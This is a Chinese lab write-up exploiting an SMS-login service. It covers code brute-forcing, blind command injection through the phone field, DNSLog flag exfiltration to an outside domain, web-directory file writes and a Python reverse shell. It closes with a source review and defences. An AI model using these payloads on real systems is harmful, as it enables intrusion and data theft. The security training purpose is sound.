好靶场-小王采购了一个发送验证码的工具-WP

admin 2026-01-07 02:48:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 靶场文章详述在短信验证码登录接口中利用4位数字验证码暴力破解未果后,通过延时确认盲命令注入,结合写入Web目录技巧最终读取/tmp/flag.txt并获取flag,附完整Python脚本、Burp利用示例、反弹shell与源码审计,指出os.system拼接用户输入导致注入并给出输入校验、参数化调用等防御方案。 综合评分: 82 文章分类: 渗透测试,漏洞分析,实战经验,安全培训,WEB安全


cover_image

好靶场-小王采购了一个发送验证码的工具-WP

原创

泷羽Sec-静安

泷羽Sec-静安

2026年1月6日 00:00 云南

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。

学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:

🔗 入口:http://www.loveli.com.cn/see_bug_one?id=571

✅ 邀请码:48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇

漏洞发现过程

1. 初步分析

访问目标网站,发现是一个短信验证码登录页面。页面有两个主要接口:

  • • /send – 发送验证码
  • • /login – 验证登录

[!question] 检查这个网页的代码有没有漏洞,这是个靶机,如果有告诉我利用方式和脚本

分析这个登录页面的代码,我发现了几个潜在的安全漏洞:

查看前端代码,发现验证码只有4位数字,存在明显的暴力破解漏洞。

2. 验证码爆破

编写Python脚本进行验证码爆破:

import requests
import time

BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"

def send_code(phone):
    requests.post(f"{BASE_URL}/send", json={"phone": phone})

def brute_force_code(phone):
    send_code(phone)
    time.sleep(2)

    for code_num in range(10000):
        code = f"{code_num:04d}"
        resp = requests.post(
            f"{BASE_URL}/login",
            json={"phone": phone, "code": code}
        )
        result = resp.json()

        if result.get('success'):
            print(f"[+] 验证码: {code}")
            return code

        if code_num % 100 == 0:
            print(f"[*] 进度: {code_num}/10000", end='\r')

brute_force_code("18888888888")

成功爆破出验证码 2898,但登录后提示:”恭喜登录成功了,但是登录成功了也没有Flag”。

玩呢?啊?

3. 命令注入测试

结合题目提示”采购的工具”和”短信验证码”标签,怀疑后端可能直接将手机号参数拼接到系统命令中。

测试Sleep命令注入:

import requests
import time

BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"

# 测试sleep命令
start = time.time()
resp = requests.post(
    f"{BASE_URL}/send",
    json={"phone": "18888888888; sleep 5"}
)
elapsed = time.time() - start

print(f"响应时间: {elapsed:.2f}秒")

发现Burp里面修改手机号后面加sleep命令,网页确实等待了5秒后才响应。

结果:响应时间约5秒,确认存在命令注入漏洞!

使用Burp Suite手动测试:

POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json

{"phone":"18888888888; sleep 5"}

响应时间明显延迟5秒,证实了命令注入漏洞的存在。

4. 尝试外带数据(失败)

由于命令执行结果不会回显到HTTP响应中,这是典型的盲命令注入。首先尝试使用DNS外带数据。

DNSLog外带尝试:

  1. 1. 访问 http://dnslog.cn 获取临时域名:g7nqkk.dnslog.cn
  2. 2. 测试网络连通性:
POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json

{"phone":"18888888888; ping -c 1 g7nqkk.dnslog.cn"}
  1. 3. 尝试外带flag:
{"phone":"18888888888; curl `cat /flag`.g7nqkk.dnslog.cn"}
{"phone":"18888888888; ping -c 1 `cat /flag`.g7nqkk.dnslog.cn"}
{"phone":"18888888888; nslookup `cat /flag`.g7nqkk.dnslog.cn"}

结果:DNSLog没有收到任何记录,说明靶机无法访问外网或DNS被限制。 放轻松,DNS弹不出来是正常的。

5. 探测Web目录结构

既然外带不通,尝试将命令执行结果写入到web可访问的目录中。

探测当前工作目录:

import requests
import time

BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"

print("[*] 目标: 将 /tmp/flag.txt 写入到web可访问目录\n")

# 首先找出当前工作目录
print("[*] 步骤1: 探测当前工作目录...")
probe_commands = [
    "pwd > /tmp/pwd.txt",
    "ls -la > /tmp/ls.txt",
    "echo $(pwd) > /tmp/path.txt",
]

for cmd in probe_commands:
    payload = f"18888888888; {cmd}"
    requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
    time.sleep(0.3)

# 尝试多种路径写入1.txt
print("\n[*] 步骤2: 尝试将flag写入到1.txt...")

write_commands = [
    # 直接写到当前目录
    "cat /tmp/flag.txt > 1.txt",
    "cat /tmp/flag.txt > ./1.txt",
    "cp /tmp/flag.txt 1.txt",
    "cp /tmp/flag.txt ./1.txt",

    # 写到可能的web根目录
    "cat /tmp/flag.txt > /app/1.txt",
    "cat /tmp/flag.txt > /app/static/1.txt",
    "cat /tmp/flag.txt > ./static/1.txt",
    "cat /tmp/flag.txt > static/1.txt",

    # 尝试templates目录
    "cat /tmp/flag.txt > /app/templates/1.txt",
    "cat /tmp/flag.txt > ./templates/1.txt",
    "cat /tmp/flag.txt > templates/1.txt",
]

for cmd in write_commands:
    payload = f"18888888888; {cmd}"
    try:
        requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
        print(f"  ✓ 执行: {cmd}")
        time.sleep(0.3)
    except:
        print(f"  ✗ 失败: {cmd}")

# 尝试访问所有可能的路径
print("\n[*] 步骤3: 尝试访问1.txt...")

possible_paths = [
    "/1.txt",
    "/static/1.txt",
    "/templates/1.txt",
    "/app/1.txt",
    "/app/static/1.txt",
    "/app/templates/1.txt",
]

flag_found = False

for path in possible_paths:
    try:
        resp = requests.get(f"{BASE_URL}{path}", timeout=3)
        if resp.status_code == 200 and len(resp.content) > 0:
            print(f"\n{'='*60}")
            print(f"[!!!] 成功找到: {BASE_URL}{path}")
            print(f"{'='*60}")
            print(f"FLAG内容: {resp.text}")
            print(f"{'='*60}")
            flag_found = True
            break
        else:
            print(f"  ✗ {path} - 状态码: {resp.status_code}")
    except Exception as e:
        print(f"  ✗ {path} - 无法访问")

if not flag_found:
    print("\n[!] 未能直接访问到文件")
    print("[*] 尝试其他方法...\n")

    # 方法2: 创建HTML文件嵌入flag
    print("[*] 方法2: 创建HTML文件...")
    html_commands = [
&nbsp; &nbsp; &nbsp; &nbsp; "echo '<html><body><pre>' > 1.html && cat /tmp/flag.txt >> 1.html && echo '</pre></body></html>' >> 1.html",
&nbsp; &nbsp; &nbsp; &nbsp; "cat /tmp/flag.txt > /app/static/1.html",
&nbsp; &nbsp; &nbsp; &nbsp; "cat /tmp/flag.txt > ./static/1.html",
&nbsp; &nbsp; ]

&nbsp; &nbsp; for&nbsp;cmd&nbsp;in&nbsp;html_commands:
&nbsp; &nbsp; &nbsp; &nbsp; payload =&nbsp;f"18888888888;&nbsp;{cmd}"
&nbsp; &nbsp; &nbsp; &nbsp; requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.3)

&nbsp; &nbsp; html_paths = ["/1.html",&nbsp;"/static/1.html"]
&nbsp; &nbsp; for&nbsp;path&nbsp;in&nbsp;html_paths:
&nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = requests.get(f"{BASE_URL}{path}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;resp.status_code ==&nbsp;200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"\n[!!!] HTML方式成功:&nbsp;{BASE_URL}{path}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"内容:&nbsp;{resp.text}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flag_found =&nbsp;True
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; &nbsp; &nbsp; except:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pass

if&nbsp;not&nbsp;flag_found:
&nbsp; &nbsp; # 方法3: 尝试符号链接
&nbsp; &nbsp; print("\n[*] 方法3: 尝试创建符号链接...")
&nbsp; &nbsp; link_commands = [
&nbsp; &nbsp; &nbsp; &nbsp; "ln -sf /tmp/flag.txt /app/static/1.txt",
&nbsp; &nbsp; &nbsp; &nbsp; "ln -sf /tmp/flag.txt ./static/1.txt",
&nbsp; &nbsp; &nbsp; &nbsp; "ln -sf /tmp/flag.txt /app/1.txt",
&nbsp; &nbsp; &nbsp; &nbsp; "ln -sf /tmp/flag.txt ./1.txt",
&nbsp; &nbsp; ]

&nbsp; &nbsp; for&nbsp;cmd&nbsp;in&nbsp;link_commands:
&nbsp; &nbsp; &nbsp; &nbsp; payload =&nbsp;f"18888888888;&nbsp;{cmd}"
&nbsp; &nbsp; &nbsp; &nbsp; requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
&nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp;✓ 执行:&nbsp;{cmd}")
&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.3)

&nbsp; &nbsp; print("\n[*] 再次尝试访问...")
&nbsp; &nbsp; for&nbsp;path&nbsp;in&nbsp;possible_paths:
&nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = requests.get(f"{BASE_URL}{path}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;resp.status_code ==&nbsp;200&nbsp;and&nbsp;len(resp.content) >&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"\n[!!!] 符号链接成功:&nbsp;{BASE_URL}{path}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"内容:&nbsp;{resp.text}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; &nbsp; &nbsp; except:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pass

POST&nbsp;/send&nbsp;HTTP/1.1
Host:&nbsp;iuuga86.haobachang.loveli.com.cn:8888
Content-Type:&nbsp;application/json

{"phone":"18888888888; pwd > /app/static/test.txt"}

访问 http://iuuga86.haobachang.loveli.com.cn:8888/static/test.txt

结果:

/app

成功!确认当前工作目录为 /app,且 /app/static 目录可通过web访问。

探测目录结构:

{"phone":"18888888888; ls -la /app > /app/static/ls.txt"}
{"phone":"18888888888; ls -la /tmp > /app/static/tmp.txt"}

通过多次探测发现:

  • • 当前目录:/app
  • • 可写目录:/app/static
  • • Flag位置:/tmp/flag.txt(通过ls /tmp发现)

6. 获取Flag

最终Payload:

POST&nbsp;/send&nbsp;HTTP/1.1
Host:&nbsp;iuuga86.haobachang.loveli.com.cn:8888
Content-Type:&nbsp;application/json
Content-Length:&nbsp;70

{"phone":"18888888888; cat /tmp/flag.txt > /app/static/report.txt"}

访问:http://iuuga86.haobachang.loveli.com.cn:8888/static/report.txt

成功获取Flag:

flag{976372a77dfd46b1816e229952e4a15e}

漏洞原因分析

后端代码可能类似:

import&nbsp;os
from&nbsp;flask&nbsp;import&nbsp;Flask, request

@app.route('/send', methods=['POST'])
def&nbsp;send_sms():
&nbsp; &nbsp; phone = request.json.get('phone')
&nbsp; &nbsp; # 危险:直接将用户输入拼接到shell命令中
&nbsp; &nbsp; os.system(f"send_sms.sh&nbsp;{phone}")
&nbsp; &nbsp; return&nbsp;{"success":&nbsp;True,&nbsp;"msg":&nbsp;"验证码发送成功"}

用户可控的 phone 参数被直接拼接到 os.system() 中执行,导致命令注入。

防御建议

  1. 1. 输入验证:严格验证手机号格式,使用正则表达式 ^1[3-9]\d{9}$
  2. 2. 避免shell调用:使用Python的SMS库直接发送,避免调用shell命令
  3. 3. 参数化:如必须使用shell,使用 subprocess 的列表参数形式
  4. 4. 最小权限:限制应用运行权限,避免访问敏感文件
# 安全的实现方式
import&nbsp;re
import&nbsp;subprocess

def&nbsp;send_sms(phone):
&nbsp; &nbsp; # 严格验证手机号
&nbsp; &nbsp; if&nbsp;not&nbsp;re.match(r'^1[3-9]\d{9}$', phone):
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;{"success":&nbsp;False,&nbsp;"msg":&nbsp;"无效手机号"}

&nbsp; &nbsp; # 使用参数化调用,避免命令注入
&nbsp; &nbsp; subprocess.run(['/usr/bin/send_sms.sh', phone], check=True)
&nbsp; &nbsp; return&nbsp;{"success":&nbsp;True,&nbsp;"msg":&nbsp;"发送成功"}

总结

这道题目考查了:

  1. 1. 验证码爆破:4位纯数字验证码的安全风险
  2. 2. 命令注入识别:通过sleep延时判断
  3. 3. 盲注技巧:无回显情况下的数据外带
  4. 4. 目录探测:寻找可写且可访问的web目录
  5. 5. 实战思路:当常规外带方式失败时,灵活寻找其他突破点

Flag: flag{976372a77dfd46b1816e229952e4a15e}

意外发现,id居然是root,不是www-data,而是直接就是root。那怎么好意思不进来看看呢?

Python反弹Shell

{"phone":"18888888888; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'; sleep 5"}

YOUR_IP 用自己的公网服务器IP,推荐使用大麦云,找客服要优惠码 https://www.whdmw.com/recommend/A16nUFoB1Jhs

弹回shell后cat app.py 看逻辑

from&nbsp;flask&nbsp;import&nbsp;Flask, render_template, request, jsonify
import&nbsp;os
import&nbsp;sqlite3
from&nbsp;sqlite3&nbsp;import&nbsp;Error
import&nbsp;time
import&nbsp;random
app = Flask(__name__)

# 用于存储手机号和验证码的映射
phone_code_map = {}
# 用于记录每个手机号的验证码发送次数
phone_send_count = {}

@app.route('/')
def&nbsp;index():
&nbsp; &nbsp; # 将参数传递给模板
&nbsp; &nbsp; return&nbsp;render_template('login.html')

@app.route('/send', methods=['POST'])
def&nbsp;send_code():
&nbsp; &nbsp; print("123")
&nbsp; &nbsp; data = request.get_json()
&nbsp; &nbsp; phone = data.get('phone',&nbsp;'')
&nbsp; &nbsp; # 记录发送次数
&nbsp; &nbsp; count = phone_send_count.get(phone,&nbsp;0)
&nbsp; &nbsp; phone_send_count[phone] = count +&nbsp;1
&nbsp; &nbsp; print(f"手机号&nbsp;{phone}&nbsp;已发送验证码次数:&nbsp;{phone_send_count[phone]}")
&nbsp; &nbsp; print(f"echo&nbsp;{phone}&nbsp;>> phone.txt")
&nbsp; &nbsp; os.system(f"echo&nbsp;{phone}&nbsp;>> phone.txt")
&nbsp; &nbsp; # 生成6位验证码
&nbsp; &nbsp; code =&nbsp;''.join([str(random.randint(0,&nbsp;9))&nbsp;for&nbsp;_&nbsp;in&nbsp;range(4)])
&nbsp; &nbsp; print("123")
&nbsp; &nbsp; # 将验证码和手机号绑定
&nbsp; &nbsp; phone_code_map[phone] = code
&nbsp; &nbsp; msg =&nbsp;f'验证码发送成功'
&nbsp; &nbsp; return&nbsp;jsonify({'success':&nbsp;True,&nbsp;'msg': msg})

@app.route('/login', methods=['POST'])
def&nbsp;login():
&nbsp; &nbsp; data = request.get_json()
&nbsp; &nbsp; phone = data.get('phone',&nbsp;'')
&nbsp; &nbsp; input_code = data.get('code',&nbsp;'')
&nbsp; &nbsp; # 校验手机号格式
&nbsp; &nbsp; if&nbsp;not&nbsp;phone&nbsp;or&nbsp;not&nbsp;phone.isdigit()&nbsp;or&nbsp;len(phone) !=&nbsp;11&nbsp;or&nbsp;not&nbsp;phone.startswith('1'):
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;jsonify({'success':&nbsp;False,&nbsp;'msg':&nbsp;'手机号格式不正确'})
&nbsp; &nbsp; # 校验验证码格式
&nbsp; &nbsp; if&nbsp;not&nbsp;input_code&nbsp;or&nbsp;not&nbsp;input_code.isdigit()&nbsp;or&nbsp;len(input_code) !=&nbsp;4:
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;jsonify({'success':&nbsp;False,&nbsp;'msg':&nbsp;'验证码格式不正确'})
&nbsp; &nbsp; # 验证码校验,需和手机号绑定
&nbsp; &nbsp; code = phone_code_map.get(phone)
&nbsp; &nbsp; if&nbsp;not&nbsp;code&nbsp;or&nbsp;input_code != code:
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;jsonify({'success':&nbsp;False,&nbsp;'msg':&nbsp;'验证码错误'})
&nbsp; &nbsp; # 登录成功
&nbsp; &nbsp; # 这里可以进行用户注册或登录逻辑
&nbsp; &nbsp; return&nbsp;jsonify({'success':&nbsp;True,&nbsp;'msg':&nbsp;'恭喜登录成功了,但是登录成功了也没有Flag'})

if&nbsp;__name__ ==&nbsp;'__main__':
&nbsp; &nbsp; app.run(host='0.0.0.0', port=80)

漏洞分析

关键代码(第26-27行)

print(f"echo&nbsp;{phone}&nbsp;>> phone.txt")
os.system(f"echo&nbsp;{phone}&nbsp;>> phone.txt")

这就是典型的命令注入漏洞!

漏洞原理

  1. 1. 用户可控输入phone 参数完全来自用户的POST请求
  2. 2. 直接拼接到shell命令:使用 os.system() 直接执行拼接的字符串
  3. 3. 没有任何过滤:虽然后面有格式验证(第42-43行),但这些验证在 /login 路由中,而命令注入在 /send 路由的验证之前就执行了

攻击流程

用户请求 /send
&nbsp; &nbsp; ↓
获取 phone 参数
&nbsp; &nbsp; ↓
直接执行 os.system(f"echo {phone} >> phone.txt") &nbsp;← 命令注入点
&nbsp; &nbsp; ↓
生成验证码
&nbsp; &nbsp; ↓
返回成功

为什么需要 sleep?

查看代码逻辑:

  • • /send 路由执行命令后立即返回响应
  • • 如果命令执行时间过长,HTTP响应可能在命令完成前就返回了
  • • 添加 sleep 5 确保:
  1. 1. 命令有足够时间执行完成
  2. 2. 文件写入操作完成
  3. 3. 防止进程被过早终止

漏洞利用示例

# 正常使用
phone =&nbsp;"18888888888"
# 实际执行: echo 18888888888 >> phone.txt

# 命令注入
phone =&nbsp;"18888888888; cat /tmp/flag.txt > /app/static/flag.txt"
# 实际执行: echo 18888888888; cat /tmp/flag.txt > /app/static/flag.txt >> phone.txt
# &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^^^^^^^^^^^^^^ &nbsp;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 正常命令 &nbsp; &nbsp; &nbsp; &nbsp; 注入的恶意命令

# 加上sleep确保执行
phone =&nbsp;"18888888888; cat /tmp/flag.txt > /app/static/flag.txt; sleep 5"


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:泷羽Sec-静安 泷羽Sec-静安《好靶场-小王采购了一个发送验证码的工具-WP》

以色列政要电话号码簿 网络安全文章

以色列政要电话号码簿

文章总结: 公众号披露一份自称来自暗网的以色列政要通讯录,列出摩萨德前高官、国防部长、总参谋长、发言人等二十余人姓名、手机号及职务简介,并暗示系宿敌国家持续两年
评论:0   参与:  0